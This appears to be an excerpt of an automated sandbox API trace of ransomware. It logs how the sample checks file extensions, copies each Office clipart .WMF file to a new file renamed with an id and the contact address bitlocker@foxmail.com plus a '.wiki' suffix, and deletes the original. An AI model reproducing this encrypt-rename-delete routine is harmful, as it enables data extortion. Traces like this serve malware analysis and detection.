[0194.006] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.006] lstrlenW (lpString=".xls") returned 4 [0194.006] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.006] lstrlenW (lpString=".xlsx") returned 5 [0194.006] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0194.006] lstrlenW (lpString=".ppt") returned 4 [0194.006] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0194.006] lstrlenW (lpString=".zip") returned 4 [0194.006] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.006] lstrlenW (lpString=".rar") returned 4 [0194.006] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.006] lstrlenW (lpString=".bz2") returned 4 [0194.006] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.006] lstrlenW (lpString=".7z") returned 3 [0194.006] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0194.006] lstrlenW (lpString=".dbf") returned 4 [0194.006] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0194.006] lstrlenW (lpString=".1cd") returned 4 [0194.006] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0194.006] lstrlenW (lpString=".jpg") returned 4 [0194.006] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0194.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0194.006] lstrlenW (lpString=".doc") returned 4 [0194.006] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.006] lstrlenW (lpString=".docx") returned 5 [0194.006] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0194.007] lstrlenW (lpString=".pdf") returned 4 [0194.007] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.007] lstrlenW (lpString=".xls") returned 4 [0194.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.007] lstrlenW (lpString=".xlsx") returned 5 [0194.007] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0194.007] lstrlenW (lpString=".ppt") returned 4 [0194.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0194.007] lstrlenW (lpString=".zip") returned 4 [0194.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.007] lstrlenW (lpString=".rar") returned 4 [0194.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.007] lstrlenW (lpString=".bz2") returned 4 [0194.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.007] lstrlenW (lpString=".7z") returned 3 [0194.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0194.007] lstrlenW (lpString=".dbf") returned 4 [0194.007] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0194.007] lstrlenW (lpString=".1cd") returned 4 [0194.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0194.007] lstrlenW (lpString=".jpg") returned 4 [0194.007] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.007] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.007] lstrlenW (lpString="J0105410.WMF") returned 12 [0194.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0194.009] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=20444) returned 1 [0194.009] CloseHandle (hObject=0x1dc) returned 1 [0194.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf")) returned 0x20 [0194.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0194.010] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.010] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0194.010] GetLastError () returned 0x0 [0194.010] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x4fdc, lpOverlapped=0x0) returned 1 [0194.038] WriteFile (in: hFile=0x218, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x4fe0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x4fe0, lpOverlapped=0x0) returned 1 [0194.039] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.039] WriteFile (in: hFile=0x218, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.040] SetEndOfFile (hFile=0x218) returned 1 [0194.040] CloseHandle (hObject=0x218) returned 1 [0194.040] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.040] SetEndOfFile (hFile=0x1dc) returned 1 [0194.041] CloseHandle (hObject=0x1dc) returned 1 [0194.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf")) returned 1 [0194.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0194.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0194.041] lstrlenW (lpString=".doc") returned 4 [0194.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.041] lstrlenW (lpString=".docx") returned 5 [0194.041] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0194.041] lstrlenW (lpString=".pdf") returned 4 [0194.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.041] lstrlenW (lpString=".xls") returned 4 [0194.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.041] lstrlenW (lpString=".xlsx") returned 5 [0194.041] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0194.041] lstrlenW (lpString=".ppt") returned 4 [0194.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0194.041] lstrlenW (lpString=".zip") returned 4 [0194.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.042] lstrlenW (lpString=".rar") returned 4 [0194.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.042] lstrlenW (lpString=".bz2") returned 4 [0194.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.042] lstrlenW (lpString=".7z") returned 3 [0194.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0194.042] lstrlenW (lpString=".dbf") returned 4 [0194.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0194.042] lstrlenW (lpString=".1cd") returned 4 [0194.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0194.042] lstrlenW (lpString=".jpg") returned 4 [0194.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0194.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0194.042] lstrlenW (lpString=".doc") returned 4 [0194.042] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.042] lstrlenW (lpString=".docx") returned 5 [0194.042] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0194.042] lstrlenW (lpString=".pdf") returned 4 [0194.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.042] lstrlenW (lpString=".xls") returned 4 [0194.042] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.042] lstrlenW (lpString=".xlsx") returned 5 [0194.042] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0194.043] lstrlenW (lpString=".ppt") returned 4 [0194.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0194.043] lstrlenW (lpString=".zip") returned 4 [0194.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.043] lstrlenW (lpString=".rar") returned 4 [0194.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.043] lstrlenW (lpString=".bz2") returned 4 [0194.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.043] lstrlenW (lpString=".7z") returned 3 [0194.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0194.043] lstrlenW (lpString=".dbf") returned 4 [0194.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0194.043] lstrlenW (lpString=".1cd") returned 4 [0194.043] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0194.043] lstrlenW (lpString=".jpg") returned 4 [0194.043] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.043] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.043] lstrlenW (lpString="J0105490.WMF") returned 12 [0194.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0194.044] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=18728) returned 1 [0194.044] CloseHandle (hObject=0x1dc) returned 1 [0194.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf")) returned 0x20 [0194.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0194.044] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.044] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0194.045] GetLastError () returned 0x0 [0194.045] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x4928, lpOverlapped=0x0) returned 1 [0194.089] WriteFile (in: hFile=0x218, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x4930, lpOverlapped=0x0) returned 1 [0194.090] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.090] WriteFile (in: hFile=0x218, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.090] SetEndOfFile (hFile=0x218) returned 1 [0194.090] CloseHandle (hObject=0x218) returned 1 [0194.090] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.090] SetEndOfFile (hFile=0x1dc) returned 1 [0194.091] CloseHandle (hObject=0x1dc) returned 1 [0194.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.091] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf")) returned 1 [0194.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0194.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0194.092] lstrlenW (lpString=".doc") returned 4 [0194.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.092] lstrlenW (lpString=".docx") returned 5 [0194.092] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0194.092] lstrlenW (lpString=".pdf") returned 4 [0194.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.092] lstrlenW (lpString=".xls") returned 4 [0194.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.092] lstrlenW (lpString=".xlsx") returned 5 [0194.092] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0194.092] lstrlenW (lpString=".ppt") returned 4 [0194.092] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0194.092] lstrlenW (lpString=".zip") returned 4 [0194.092] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.092] lstrlenW (lpString=".rar") returned 4 [0194.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.092] lstrlenW (lpString=".bz2") returned 4 [0194.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.092] lstrlenW (lpString=".7z") returned 3 [0194.092] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0194.092] lstrlenW (lpString=".dbf") returned 4 [0194.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0194.092] lstrlenW (lpString=".1cd") returned 4 [0194.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0194.093] lstrlenW (lpString=".jpg") returned 4 [0194.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0194.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0194.093] lstrlenW (lpString=".doc") returned 4 [0194.093] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.093] lstrlenW (lpString=".docx") returned 5 [0194.093] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0194.093] lstrlenW (lpString=".pdf") returned 4 [0194.093] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.093] lstrlenW (lpString=".xls") returned 4 [0194.093] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.093] lstrlenW (lpString=".xlsx") returned 5 [0194.093] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0194.093] lstrlenW (lpString=".ppt") returned 4 [0194.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0194.093] lstrlenW (lpString=".zip") returned 4 [0194.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.093] lstrlenW (lpString=".rar") returned 4 [0194.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.093] lstrlenW (lpString=".bz2") returned 4 [0194.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.093] lstrlenW (lpString=".7z") returned 3 [0194.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0194.093] lstrlenW (lpString=".dbf") returned 4 [0194.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0194.093] lstrlenW (lpString=".1cd") returned 4 [0194.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0194.093] lstrlenW (lpString=".jpg") returned 4 [0194.094] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.094] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.094] lstrlenW (lpString="J0105504.WMF") returned 12 [0194.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0194.094] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=4148) returned 1 [0194.094] CloseHandle (hObject=0x1dc) returned 1 [0194.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf")) returned 0x20 [0194.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0194.095] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.095] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0194.095] GetLastError () returned 0x0 [0194.095] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1034, lpOverlapped=0x0) returned 1 [0194.113] WriteFile (in: hFile=0x218, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1040, lpOverlapped=0x0) returned 1 [0194.113] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.114] WriteFile (in: hFile=0x218, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.114] SetEndOfFile (hFile=0x218) returned 1 [0194.114] CloseHandle (hObject=0x218) returned 1 [0194.114] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.114] SetEndOfFile (hFile=0x1dc) returned 1 [0194.115] CloseHandle (hObject=0x1dc) returned 1 [0194.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf")) returned 1 [0194.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0194.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0194.115] lstrlenW (lpString=".doc") returned 4 [0194.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.115] lstrlenW (lpString=".docx") returned 5 [0194.115] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0194.115] lstrlenW (lpString=".pdf") returned 4 [0194.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.115] lstrlenW (lpString=".xls") returned 4 [0194.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.115] lstrlenW (lpString=".xlsx") returned 5 [0194.115] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0194.115] lstrlenW (lpString=".ppt") returned 4 [0194.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0194.421] lstrlenW (lpString=".zip") returned 4 [0194.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.421] lstrlenW (lpString=".rar") returned 4 [0194.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.421] lstrlenW (lpString=".bz2") returned 4 [0194.421] 